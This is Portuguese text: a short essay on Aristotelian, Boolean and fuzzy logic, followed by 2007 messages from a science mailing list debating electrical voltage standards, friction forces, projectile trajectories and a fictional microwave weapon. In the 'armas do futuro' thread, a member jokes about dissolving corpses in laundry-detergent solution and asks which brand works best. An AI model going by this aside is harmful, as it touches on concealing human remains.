A lógica é uma ciência que se preocupa com o caminho do raciocínio, em
outras palavras, busca
identificar como o pensamento é organizado.
A principal regra da lógica de Aristóteles é a não-contradição.
Chamamos de falácia quando uma
argumentação é contraditória. Muitas das afirmações que escutamos
diariamente quando
fundamentadas demonstram-se falácias, principalmente as afirmações
generalizadas.
Veja um exemplo:
Correr diariamente 30 minutos faz bem a saúde de todas as pessoas.
Observe que a frase acima é generalizada e ignora pessoas vitimadas
por problemas na coluna,
ortopédicos, entre outros. Ao tentar fundamentar o raciocínio acima
vai ocorrer a contradição,
nem todas as pessoas são aptas ao exercício. Possuímos aqui uma
falácia e como existe uma
contradição não é possivel sustentar afirmação.
Já a afirmação abaixo:
Todos os seres vivos são mortais
Esta é uma conclusão coerente, ao fundamentar é possivel perceber que
não existe registro de
seres vivos que não morrem.
Para não ocorrer erro de raciocínio é importante que ao concluir um
determinado pensamento a
pessoa descreva sua afirmação dentro de um contexto detalhado
demonstrando como o
raciocínio foi desenvolvido.
Veja como deveria ser o raciocínio.
Correr diariamente 30 minutos faz bem a saúde de todas as pessoas que,
após consulta médica e
exames de capacidade física forem diagnosticadas aptas para o exercício.
Pode parecer bobagem, mas diariamente recebemos informações sem
nenhuma fundamentação e
conseqüentemente nos iludimos. O maior problema é que estas ilusões
irão formar nossa base de
conhecimento para aplicação do raciocínio.
Não existe aplicação da lógica se a informação não for fundamentada
e/ou validada. Observe que
lógica é uma metodologia com regras rígidas que exigem a fundamentação
e validação do
raciocínio.
Certa vez um professor de filosofia levou para a sala de aula uma foto
de uma pessoa caindo do
décimo segundo andar de um prédio. Ao mostrar a foto para os alunos o
professor pediu que
estes concluíssem o que teria ocorrido com a pessoa que aparecia em
queda livre.
Rapidamente sem nenhum questionamento prévio, todos concluíram,
provavelmente morreu!
Afinal é muito difícil alguém cair do décimo segundo andar e sair vivo.
A foto era de um duble que foi fotografado no momento do ensaio de uma
queda, ninguém
morreu.
02
Observe que mesmo usando o raciocínio fundamentado para se chegar em
um resultado dentro
da realidade é importante que as informações observadas sejam
questionadas quanto a sua
veracidade.
Alguns autores comparam a lógica como uma estrada, um caminho por onde
a informação é
organizada. É importante lembrar que uma conclusão correta não
significa necessariamente uma
informação verdadeira. A lógica é uma ferramenta que garante o
raciocínio correto e não a
informação correta.
Basicamente Aristóteles trabalhou com validação lógica através do
conceito de verdadeiro ou
falso, usando um raciocínio binário onde só existem afirmações
verdadeiras e falsas, sem meio
termo.
Seguindo a mesma linha de raciocínio de Aristóteles o matemático
George Boole (1815-1864)
criou o calculo de Boole ou lógica Boolena. Esta metodologia é usada
na criação do computador
e dos circuitos eletrônicos digitais, trabalhando com o conceito
binário de verdadeiro e falso.
Outros pensadores forma surgindo no decorrer de nossa evolução e
complementado o que hoje
conhecemos por lógica.
Além da lógica de Aristóteles, existem outras metodologias de
raciocínio como a lógica nãoclassica,
lógica paraconssistente e ainda a lógica de Fuzzy, lógica matemática e
outras.
Não pretendo comentar cada um dos conceitos lógicos, mas gostaria de
salientar um pouco e
resumidamente a Fuzzy Logic ou em português lógica difusa.
Diferente do raciocínio Aristotélico a Lógica Difusa trabalha com o
conceito de dualidade onde
opostos devem coexistir. Basicamente este tipo de raciocínio é mais
eficiente em trabalhos com
informações vagas ou imperfeitas.
A Lógica Fuzzy trabalha com o raciocínio de aproximação de
possibilidades, é mais eficiente em
alguns casos que a teoria da probabilidade. É possivel na Lógica Fuzzy
trabalhar o raciocínio de
uma forma ainda mais flexível que a própris probabilidade.
A lógica Fuzzy é largamente usada na Inteligência Artificial.
Observe o leitor que a lógica Aristotélica e a Lógica de Fuzzy são
basicamente opostas em seus
conceitos, uma trabalha de forma rígida com apenas situações
verdadeiras ou falsas enquanto a
outra usa de variações da percepção e atua por resultado aproximado.
Cada metodologia lógica é eficiente em uma determinada situação.
Quando alguém afirma alguma coisa, não esqueça de avaliar a
fundamentação das afirmações
bem como o tipo de lógica empregada e procure manter a mente aberta.
Aplicação correta da
metodologia lógica não é necessariamente informação verdadeira.
Para processar uma informação é importante que os fatos avaliados no
raciocínio aplicado sejam
verdadeiros, em outras palavras, sempre avalie o contexto das
afirmações e questione quanto sua
veracidade.
Quando uma afirmação é precisa procure observar a fundamentação
através da Lógica
Aristotélica, mas se a informação for vaga e não existe maneira de
verificar a consistência, usar
Lógica por aproximação de resultados é o procedimento mais indicado.
Aplicando a lógica certa para um problema e sendo a informação
verdadeira o resultado será o
mais próximo possivel da realidade.
03
Eventos na comunidade
1 - Radioastronomia
Para participar do projeto seti@home de radioastronomia e ajudar no
processamento das ondas
eletromagnéticas captadas do espaço pelo Observatório de Arecibo, em
Porto Rico, basta o
usuário cadastrar sua conta e depois baixar e instalar o aplicativo
BOINC. Participe e ganhe
pontos que valem prêmios dentro da comunidade. Acesse:
http://setihome.tecnociencia.jor.br
2 - Terremotos em tempo real
Monitore a localização e a intensidade de terremotos em tempo real no
mundo todo. Para isso é
Necessário estar conectado na internet. O aplicativo é muito fácil de
manusear. Após baixar é só
executar o aplicativo estando conectado na internet, não precisa
instalar. Acesse:
http://terremoto.tecnociencia.jor.br
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útil em algum momento.
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SUBJECT: Re: [ciencialist] 220 V ou não 220 V?
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 06/07/2007 21:29

O padrão estabelecido pela ABNT para distribuição de energia elétrica
residencial é 220V trifásico, no registro do consumidor. A partir daí o
consumidor distribui para as tomadas e bocais as tensões de 220 ou 110,
conforme sua conveniência. Os equipamento de 220 são um pouco mais
econômicos do que os de 110V. A questão maior no uso de 220V é com a
segurança das instalações, que necessita de um aterramento efetivo.... Caso
contrário, pode causar descargas danosas aos usuários.
[]s
José Renato
.........................................................

From: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, July 05, 2007 8:53 AM
Subject: [ciencialist] 220 V ou não 220 V?


Tipoalgo escreveu:
> Aqui em Brasília a tensão é 220V

Desculpem a ignorância mas por que em alguns estados as distribuidoras de
energia concedem 110 V e outras 220V para as residências? Isto é, por que
não há um único padrão de distribuição de energia elétrica?

Sandro Silva_,___




SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 21:33

--- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@...>
escreveu
>
> Boa tarde JC e a todos,
>
> veja bem, fiz uma crítica a afirmativa que a força de atrito não
> existe, pois este foi o título da mensagem que critiquei ("Força de
> atrito e força normal não existem! ")

Ok. O título não é meu.

Abraços,
JC


> por crer que nenhum aluno
> mereça aprender esta afirmativa de forma descontextualizada.
>
> Considerando o átomo ou a descrição microscópica, há várias forças
> que a rigor não existem. A rigor não existe força elástica, a rigor
> não existe força associada a frenagem e forças associadas a tantas
> outras situações.
>
> Mas, obviamente, o existir ou não existir é relativo ao contexto e
> sempre há aquela velha discussão que o todo pode ser maior que a soma
> das partes, pois em muitos casos as partes se articulam segundo
> determinado critério ou em movimento coordenado que a discussão
> exclusiva das partes pode ser inadequada para descrever.
>
> Várias das forças "inexistentes" assim como diversas outras
> categorias surgem de construções genuinamente humanas são úteis em
> cálculos e na descrição de fenômenos de interesse prático.
>
> Saudações. UCFilho
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> <profjc2003@> escreveu
> >
> > Oi UCFilho,
> >
> > Veja bem, acho que eu não disse que a força de atrito "não existe"
> no
> > caso do plano inclinado, pois força de atrito é um nome que damos a
> > uma das componentes da força de contato (que é uma resultante). Acho
> > que está havendo aqui uma confusão.
> >
> > O que existe "fisicamente" no caso do bloco movendo-se sobre o plano
> > inclinado é uma enormidade de interações entre as moléculas da base
> do
> > bloco e as moléculas da superfície de contato do plano. A origem
> > dessas forças é eletromagnética (força elétrica de repulsão entre as
> > eletrosferas das moléculas).
> >
> > O "conceito" de força de atrito remete a uma força que dificulte o
> > movimento, dispersando sua energia, e que dependa do meio onde o
> corpo
> > se desloca. O nome "força de atrito" não se refere a uma categoria
> de
> > forças que exista de fato na natureza, pois força de atrito não é
> uma
> > das forças fundamentais, mas sim um nome que caracteriza aquela
> força
> > (resultante ou componente dela) como uma força que tende a
> dispersar a
> > energia do movimento.
> >
> > A rigor não existe mesmo nenhuma "força" de atrito, mas isso não
> > significa que não podemos chamr determinadas forças de "força de
> > atrito" em determinadas situações.
> >
> > No estudo dos fluídos as interações que dão origem à viscosidade e
> ao
> > atrito fluidodinâmico também são de origem eletromagnética. Veja que
> > na natureza há pouquíssimas forças consideradas fundamentais:
> > gravitacional, eletromagnética, fraca e forte.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "UCFilho" <ucfilho27182@>
> > escreveu
> > >
> > > Bom dia JC e a todos,
> > >
> > > Se em diversas situações simples como as de um único bloco se
> > > deslocando em um plano não é necessário considerar a existência
> da
> > > força dita força de atrito para descrever o processo isto não
> > > significa que é possível ou mesmo importante generalizar
> > > a inexistência desta força.
> > >
> > > O estudo com um número gigantesco de iterações é algo cada vez
> mais
> > > comum. Por exemplo: quando se estuda fenômenos complexos como a
> > > movimentação de fluidos ao redor de objetos com geometria
> complexa
> > > o espaço é subdivido em diversos elementos e as equações
> elementares
> > > são aplicadas a cada elemento e o conjunto de equações é
> resolvido,
> > > por um computador, de forma simultânea.
> > >
> > > O que quero dizer é que talvez não seja sensato a partir de um
> único
> > > exemplo de plano inclinado sair por aí falando que não existe
> força
> > > de atrito, pois a ciência só supre os conceitos que não têm
> > > utilidade em nenhuma das áreas de conhecimento que ela atua.
> > >
> > >
> > > Saudações. UCFilho
> > >
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> > > <profjc2003@> escreveu
> > > >
> > > > UCFilho, a questão central no conceito de "força de contato" é
> > > > justamente a da falta de necessidade de se considerar as forças
> > > > individualmente, de forma semelhante ao que fazemos quando
> usamos o
> > > > conceito de "pressão".
> > > >
> > > > Não só é desnecessário considerar o número gigantesco de
> interações
> > > > moleculares durante um movimento de um corpo sobre uma
> superfície
> > > como
> > > > também é matematicamente "inviável" tratar o problema sob esse
> > > prisma.
> > > >
> > > > No caso do plano inclinado, por exemplo, a coisa mais simples a
> > > fazer
> > > > na maioria dos casos é considerar a força resultante das
> interações
> > > > corpo-superfície (força de contato) e trabalhar com suas
> > > componentes
> > > > na direção do plano e na direção normal ao plano.
> > > >
> > > > Cada caso é um caso e o conceito de força resultante é muitas
> vezes
> > > > confundido com a existência de uma força "real". Caso típico é
> o da
> > > > confusão entre "resultante centrípeta" com uma suposta força,
> > > a "força
> > > > centrípeta", que leva muitos estudantes a errarem probleminhas
> > > simples
> > > > porque não compreendem que a tal "força centrípeta" é só um nome
> > > > indevido para o termo "resultante centrípeta". Bom, mas isso já
> é
> > > > outra história e, por favor, não me falem de
> > > força "centrífuga". :)))
> > > >
> > > > Abraços,
> > > > JC
> > >
> >
>




SUBJECT: Re: [ciencialist] off-topic - Website (serviço)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 23:03

O HAAAN oferece hospedagem gratuita a blogs, sítios e afins que
promovam ciência e/ou pensamento crítico:
http://haaan.com/

Abraços,

Mori

On 7/6/07, Manuel Bulcão <manuelbulcao@uol.com.br> wrote:
> Oi,
>
> Estou querendo montar uma Website, para divulgar meus livrinhos, meus
> textos, minhas idéias. Só estou mandando essa mensagem a ciencialist
> porque, aqui no meu arraial, não tenho a menor idéia a quem recorrer.
>
> Existe alguém, aqui na C-List, que faça esse serviço? Pago bem.
>
> Abraço,
> Manuel Bulcão


SUBJECT: Re: [ciencialist] armas do futuro
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 23:41

No Japão, a seita Aum Shinrikyo -- que lançou gás sarin no metrô de
Tóquio em 1995 -- também desenvolveu um microondas gigante (em um
recinto fechado) com o qual pôde matar e destruir os restos mortais de
um advogado contrário ao culto, entre outras peripécias.

Isso segundo relatos de jornais, não sei se é mesmo factual, mas não
duvido muito. É a mesma seita que adorava as obras de Asimov.

Nessa vertente mórbida, algo interessante que vi em um documentário:
todos devem conhecer o caso do assassino inglês que dissolvia os
corpos das vítimas em ácido -- isso há décadas, quando um sujeito
ainda podia conseguir galões de ácido sem levantar tantas suspeitas.
No final ele foi pego porque as pedras nos rins de uma das vítimas,
bem como sua bolsa, não dissolveram.

No documentário, mostraram que hoje em dia uma alternativa seria...
sabão em pó, de lavar roupas mesmo. Com sua "dupla ação", ou ,melhor,
suas enzimas e afins, a solução de água com sabão em pó seria capaz de
dissolver tecidos macios em alguns dias, restando apenas os ossos.

Fizeram uma demonstração, que funcionou. O pessoal da ciencialist
poderia comentar mais sobre o tema? T.A.K.A.T.A.?

Qual seria o sabão em pó mais indicado para dissolver cadáveres?
Cometer esse OMOcídio (genial, hein? hein?)?

Abraços,

Mori

On 7/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> Microondas, tipo forno de microondas, é um sistema confinado, pequeno e modesto, e necessita de uma válvula 'klinston' e guia de ondas para atuar sobre aquele minúsculo sistema fechado. Além disso, as ondas têm freqüência fixa para 'modular' a molécula da água sendo, portanto, inativas às demais moléculas.
> "Fritar" um corpo humano, via microondas, é realmente uma ficção; a abertura da faixa de atuação é enorme! Além do que, a potência de tal dispositivo, num volume tão amplo (igreja), é algo bem distante da tecnologia dos microondas.
> Se bem que, se aplicado numa igreja, as divindades protetoras (deuses) iriam, rapidamente, envolver os fiéis num campo de contenção (escudos divinos) e eles nada sofreriam. A fé os protegeriam de todos esses ataques da produção científica (hic!). Que tal? Gostou?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Emanuel Valente" <emanuelvalente@gmail.com>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: sexta-feira, 6 de julho de 2007 20:09
> Assunto: [ciencialist] armas do futuro
>
> Olá a todos!
> Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
> axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
> baseada em princípos eletromagnéticos.
> Vejam como era seu funcionamento: Ela gerava um grande campo
> eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
> frequência as ondas são absorvidas por gordura, água e açucar. Essa
> mesma idéia é a base dos microondas caseiros, que esquentam somente a
> comida (gordura + água), não atuando nos movimentos da moléculas
> (temperatura) do recipiente.
> No seriado a arma foi usada dentro de uma igreja. As pessoas que
> estavam em seu interior foram literalmente "fritas". A igreja não
> sofreu nunhum arranhão e ficou intacta.
>
> A pegunta éa seguinte: É possível gerar um campo numa frequência
> programada dessa magnitude? Quais são as limitações para que isso
> ocorra? É possível que, futuramente, existam armas baseadas em
> conceitos aqui descritos?
>
> Um abraço,
>
> Emanuel Valente.
>
> obs: Desculpem pelo email anterior: "Não usem o gmail utilizando o
> navegador safari"
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.10.1/888 - Release Date: 06/07/2007 06:36
>
>


SUBJECT: Construa um átomo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/07/2007 23:51

Interessante para visualizar algo das camadas eletrônicas. Claro que
não é nem de longe assim mesmo, mas bem, deve ser útil para alguma
coisa:

http://keithcom.com/atoms/index.php

Mori


SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/07/2007 02:24

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - E não é mesmo tão significativo, como podemos ver pela pequena
> inclinação ou amplitude do primeiro trecho de descida da bola, após
> o lançamento. O que afirmo é que, certamente, o empuxo do vento
> sobre a bola ocorre nesse evento.

Novamente, o vento não poderá ser significativo. Isso quer dizer q
essa pequena inclinação da bola na descida logo após o lançamento NÃO
pode se dever a uma ação do vento - se o vento contribuir para essa
inclinação será uma contribuição mínima.

> A nossa experiência e conhecimento indicam q uma caminhoneta a 100
> km/h NÃO produz ventos de 64 km/h...
> JR - Por que, não? Se o carro se desloca a 100km/h, há probabilidade
> de que alguma parte do ar deslocado por ele alcance velocidades até
> próxima desse valor.

Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
deslocar uma bola de beisebol.

> Além disso, um objeto q tem aceleração horizontal e vertical cai em
> diagonal reta e não em arco de parábola.
> JR - É sim, Tanaka! Pois a aceleração gravitacional é que gera a
> equação de segundo grau de uma trajetória parabólica.

Claro q não, Zerê... a aceleração gravitacional proporciona uma
equação de segundo grau para o deslocamento vertical, mas a aceleração
horizontal tb gera uma equação de segundo grau para o deslocamento
horizontal. E isso NÃO gera uma parábola.

Uma rápida análise matemática ajuda a entender isso.

deltaSy = Vyo.t + 1/2.ay.t^2 [1]
deltaSx = Vxo.t + 1/2.ax.t^2 [2]

Consideremos Vyo e Vxo como iguais a zero.

deltaSy = 1/2.ay.t^2 [3]
deltaSx = 1/2.ax.t^2 [4]

ay = g
ax = aceleração produzida pelo vento.

deltaSy = 1/2.g.t^2 [5]
t^2 = 2.deltaSy/g [6]

Substituindo t^2 em [4]

deltaSx = 1/2.ax.2.deltaSy/g [7]
deltaSx = (ax/g).deltaSy [8]

(ax/g) é uma constante dado q g e ax sejam constantes.

Assim a função q descreve a variação de deltaSx em função de deltaSy -
q descreve a trajetória da bola é uma equação LINEAR, do tipo y = a.x
+ b. Nada de parábolas.

Se duvida pegue o Excel e faça simulações numéricas com QUALQUER ax e
plote em um gráfico de Sx por Sy.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/07/2007 02:58

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Claro q não, Zerê... a aceleração gravitacional proporciona uma
> equação de segundo grau para o deslocamento vertical, mas a
> aceleração horizontal tb gera uma equação de segundo grau para o
> deslocamento horizontal. E isso NÃO gera uma parábola.

Naturalmente, referindo-se a um gráfico Sx por Sy.

A parábola na trajetória é gerada qdo o movimento é uniformemente
acelerado em uma das componentes e m.r.u em outra. Nesse caso ou Sy
vira uma função quadrática de Sx ou o contrário.

deltaSy = 1/2.g.t^2 [1]
deltaSx = V.t [2]

Isolando-se t em [2]
t = deltaSx/V [3]

Substituindo-se t de [3] em [1]:
deltaSy = 1/2.g.(deltaSx/V)^2 [4]
deltaSy = 1/2.g.(1/V^2).(deltaSx)^2 [5]

1/2.g.(1/V^2) é uma constante. Assim a função de Sy por Sx assume a
forma quadrática: y = a.x^2 + b

Se Sx é uma função quadrática de t, q seria o caso se a bola fosse
acelerada horizontalmente, Sy seria uma função linear de Sx e não
teríamos uma trajetória em arco de parábola.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 07:20

Vamos simplificar isso:
as duas leis horárias podem ser escritas, nas condições takatianas, assim:
y = 1/2.ay.t^2 ... [1]
x = 1/2.ax.t^2 ... [2]

Acima temos um sistema de equações paramétricas (parâmetro t); basta eliminar t para termos y = f(x):

da [2] ==> t^2 = 2.x/ax ; levando à [1]:

y = (1/2)ay.2x/ax = (ay/ax).x = k.x

função linear traduzindo que a trajetória é uma reta inclinada de (teta)=arctg(ay/ax).

Só estou simplificando as notações do Roberto, para melhor entendimento do JR, nada de novidade!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 7 de julho de 2007 02:24
Assunto: [ciencialist] Re: Jogar uma bola a 100km/h de um carro a 100km/h


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - E não é mesmo tão significativo, como podemos ver pela pequena
> inclinação ou amplitude do primeiro trecho de descida da bola, após
> o lançamento. O que afirmo é que, certamente, o empuxo do vento
> sobre a bola ocorre nesse evento.

Novamente, o vento não poderá ser significativo. Isso quer dizer q
essa pequena inclinação da bola na descida logo após o lançamento NÃO
pode se dever a uma ação do vento - se o vento contribuir para essa
inclinação será uma contribuição mínima.

> A nossa experiência e conhecimento indicam q uma caminhoneta a 100
> km/h NÃO produz ventos de 64 km/h...
> JR - Por que, não? Se o carro se desloca a 100km/h, há probabilidade
> de que alguma parte do ar deslocado por ele alcance velocidades até
> próxima desse valor.

Provas, por favor. Lembre-se de q o vento tem q ser suficiente para
deslocar uma bola de beisebol.

> Além disso, um objeto q tem aceleração horizontal e vertical cai em
> diagonal reta e não em arco de parábola.
> JR - É sim, Tanaka! Pois a aceleração gravitacional é que gera a
> equação de segundo grau de uma trajetória parabólica.

Claro q não, Zerê... a aceleração gravitacional proporciona uma
equação de segundo grau para o deslocamento vertical, mas a aceleração
horizontal tb gera uma equação de segundo grau para o deslocamento
horizontal. E isso NÃO gera uma parábola.

Uma rápida análise matemática ajuda a entender isso.

deltaSy = Vyo.t + 1/2.ay.t^2 [1]
deltaSx = Vxo.t + 1/2.ax.t^2 [2]

Consideremos Vyo e Vxo como iguais a zero.

deltaSy = 1/2.ay.t^2 [3]
deltaSx = 1/2.ax.t^2 [4]

ay = g
ax = aceleração produzida pelo vento.

deltaSy = 1/2.g.t^2 [5]
t^2 = 2.deltaSy/g [6]

Substituindo t^2 em [4]

deltaSx = 1/2.ax.2.deltaSy/g [7]
deltaSx = (ax/g).deltaSy [8]

(ax/g) é uma constante dado q g e ax sejam constantes.

Assim a função q descreve a variação de deltaSx em função de deltaSy -
q descreve a trajetória da bola é uma equação LINEAR, do tipo y = a.x
+ b. Nada de parábolas.

Se duvida pegue o Excel e faça simulações numéricas com QUALQUER ax e
plote em um gráfico de Sx por Sy.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] 220 V ou não 220 V?
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 07:58

Olá José Renato,





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: sexta-feira, 6 de julho de 2007 21:29
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] 220 V ou não 220 V?



JR:O padrão estabelecido pela ABNT para distribuição de energia elétrica
residencial é 220V trifásico, no registro do consumidor.

Victor: As tensões trifásicas, para residências, industrias, bancos, podem
ser entregues em 220 ou 380 Volts trifásicos, com valores fase-neutro
calculados conforme foi mostrado em outro e-mail, pelo Álvaro e por mim. Se
o sistema disponibilizado, para residências, é trifásico, bifásico ou
monofásico, isto vai depender da carga a ser alimentada. As concessionárias
têm critérios e normas bastante rígidas para isso. Se o valor é em 220 ou
380 Volts, trifásico, isto vai depender, não da ABNT, mas da usina geradora,
que fornecerá a energia numa ou noutra tensão, a depender de seu sistema de
geração.

JR: A partir daí o
consumidor distribui para as tomadas e bocais as tensões de 220 ou 110,
conforme sua conveniência.

Victor: Por favor, justifique melhor a informação acima, a respeito do tipo
de tensões acima.

JR: Os equipamento de 220 são um pouco mais
econômicos do que os de 110V.

Victor: Econômicos em que sentido, no valor de aquisição, na energia
consumida, no cabeamento e proteção do circuito?

JR: A questão maior no uso de 220V é com a
segurança das instalações, que necessita de um aterramento efetivo.... Caso
contrário, pode causar descargas danosas aos usuários.

Victor: Todas as instalações, todas, precisam de um aterramento eficiente.
Não interessam as tensões usadas. O aterramento têm finalidades de proteção
e de funcionamento dos sistemas, fixando as referências de modo adequado.
Por exemplo, um sistema de aterramento para uma subestação tem a finalidade,
também, de manter o neutro numa referência de potencial fixo, sendo zero o
valor usual. Evitar que a tensão de neutro flutue em torno de algum valor,
zero sendo o comum, implica em manter as tensões entre fases e neutros
invariáveis, ou variando tão pouco que não importe. Pois se a referência de
neutro flutuar, isto é, não for fixa( o que exige um bom sistema de
aterramento), acontecerá, inexoravelmente, o seguinte: essas tensões entre
fase e neutro variarão conforme as impedâncias das cargas que estão
alimentando, embora as tensões entre fases(os 220 ou os 380 volts) se
mantenham constante. Não é tão raro você encontrar por tensões por aí,
fase-neutro, com variações substanciais, devidos não só, eventualmente, às
causas que mencionei, mas à deficiência no sistema de fornecimento da
própria concessionária. Essas variações devidas às flutuações do neutro
podem ser para mais ou para menos, ou seja, equipamentos podem queimar, seja
pela variações para menos(caso de motores) ou variações para mais, o que
danificam o isolamento de equipamentos comuns, como eletrodométicos, etc.
Cargas mais sensíveis, como sistemas de computação, precisam de um
aterramento eficiente como referência para suas placas e suas tensões
internas, além da função de proteção do próprio sistema. Outra finalidade,
mais importante, à qual a ABNT destaca extrema importância, é o aterramento
com vistas à segurança da vida e danos à pessoa. São critérios bastantes
rígidos. Finalmente, os danos devidos a algum curto-circuito, ou surtos de
tensão da própria rede independem do sistema usado. Ambos fazem você ficar
ciscando do mesmo jeito, se não tiver cuidado.

Sds,

Victor.


[]s
José Renato
.........................................................

From: "ssilva" <ssilva@smad.curitiba.pr.gov.br
<mailto:ssilva%40smad.curitiba.pr.gov.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Thursday, July 05, 2007 8:53 AM
Subject: [ciencialist] 220 V ou não 220 V?

Tipoalgo escreveu:
> Aqui em Brasília a tensão é 220V

Desculpem a ignorância mas por que em alguns estados as distribuidoras de
energia concedem 110 V e outras 220V para as residências? Isto é, por que
não há um único padrão de distribuição de energia elétrica?

Sandro Silva_,___





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] armas do futuro
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/07/2007 11:17

Mori,

>“Qual seria o sabão em pó mais indicado para dissolver cadáveres?”



Sei mas não digo. Quer fazer concorrência às Empresas de fornos
crematórios, é?

Talvez o cadáver sofra menos... Fogo é foogo...

Brincadeira.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Kentaro Mori
Enviada em: sexta-feira, 6 de julho de 2007 23:42
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] armas do futuro



No Japão, a seita Aum Shinrikyo -- que lançou gás sarin no metrô de
Tóquio em 1995 -- também desenvolveu um microondas gigante (em um
recinto fechado) com o qual pôde matar e destruir os restos mortais de
um advogado contrário ao culto, entre outras peripécias.

Isso segundo relatos de jornais, não sei se é mesmo factual, mas não
duvido muito. É a mesma seita que adorava as obras de Asimov.

Nessa vertente mórbida, algo interessante que vi em um documentário:
todos devem conhecer o caso do assassino inglês que dissolvia os
corpos das vítimas em ácido -- isso há décadas, quando um sujeito
ainda podia conseguir galões de ácido sem levantar tantas suspeitas.
No final ele foi pego porque as pedras nos rins de uma das vítimas,
bem como sua bolsa, não dissolveram.

No documentário, mostraram que hoje em dia uma alternativa seria...
sabão em pó, de lavar roupas mesmo. Com sua "dupla ação", ou ,melhor,
suas enzimas e afins, a solução de água com sabão em pó seria capaz de
dissolver tecidos macios em alguns dias, restando apenas os ossos.

Fizeram uma demonstração, que funcionou. O pessoal da ciencialist
poderia comentar mais sobre o tema? T.A.K.A.T.A.?

Qual seria o sabão em pó mais indicado para dissolver cadáveres?
Cometer esse OMOcídio (genial, hein? hein?)?

Abraços,

Mori

On 7/6/07, Luiz Ferraz Netto <leobarretos@uol.com.br
<mailto:leobarretos%40uol.com.br> > wrote:
> Microondas, tipo forno de microondas, é um sistema confinado, pequeno e
modesto, e necessita de uma válvula 'klinston' e guia de ondas para atuar
sobre aquele minúsculo sistema fechado. Além disso, as ondas têm freqüência
fixa para 'modular' a molécula da água sendo, portanto, inativas às demais
moléculas.
> "Fritar" um corpo humano, via microondas, é realmente uma ficção; a
abertura da faixa de atuação é enorme! Além do que, a potência de tal
dispositivo, num volume tão amplo (igreja), é algo bem distante da
tecnologia dos microondas.
> Se bem que, se aplicado numa igreja, as divindades protetoras (deuses)
iriam, rapidamente, envolver os fiéis num campo de contenção (escudos
divinos) e eles nada sofreriam. A fé os protegeriam de todos esses ataques
da produção científica (hic!). Que tal? Gostou?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Emanuel Valente" <emanuelvalente@gmail.com
<mailto:emanuelvalente%40gmail.com> >
> Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: sexta-feira, 6 de julho de 2007 20:09
> Assunto: [ciencialist] armas do futuro
>
> Olá a todos!
> Alguém da lista já deve ter assistido ao seriado ALIAS, que passava na
> axn e um pouco no sbt. Em um dos episódios é desenvolvida uma arma
> baseada em princípos eletromagnéticos.
> Vejam como era seu funcionamento: Ela gerava um grande campo
> eletromagnético numa frequência de 2,5ghz. O interessante é que nessa
> frequência as ondas são absorvidas por gordura, água e açucar. Essa
